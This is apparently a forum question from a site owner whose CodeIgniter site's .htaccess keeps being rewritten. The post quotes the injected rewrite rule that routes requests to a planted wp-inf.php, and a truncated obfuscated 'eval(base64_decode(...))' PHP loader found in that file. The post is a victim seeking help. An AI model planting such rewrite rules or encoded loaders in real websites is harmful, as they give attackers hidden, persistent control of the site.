Something is writing my htaccess

I have a web site built with codeigniter, and I installed last year wordpress to have a blog. But since 3 weeks ago the problem began when I tried to access my admin site and appear the codeigniter 404 error. So I realized that the problem was the .htaccess an somehow was written by something. And I think is wordpress, I remove the code that was added and everything was fine, but again the htaccess was written, so I deleted my blog folder that contains all wordpress file and the problem was there again, then I delete the wp_ tables from my Database, but the problem was still there. The code that has been written is:

# BEGIN SYSTEM API

    RewriteEngine on

    RewriteBase /

    RewriteCond %{REQUEST_FILENAME} !-f

    RewriteCond %{REQUEST_FILENAME} !-d

    RewriteRule ^al/(.*)$ myfolder/wp-inf.php?$1 [L]

    # END SYSTEM API

I searched for the wp-inf.php file and I found something like this:

<? eval(base64_decode("ICAgIGVycm9yX3JlcG9ydGluZygwKTsgICRscnUgPSAiZ2c.....")); ?>

I don't know what to do or where to find the file that has been writing my htaccess. I have been cleaning and deleting some files, but nothing.

Hope you can help me with this. Thank you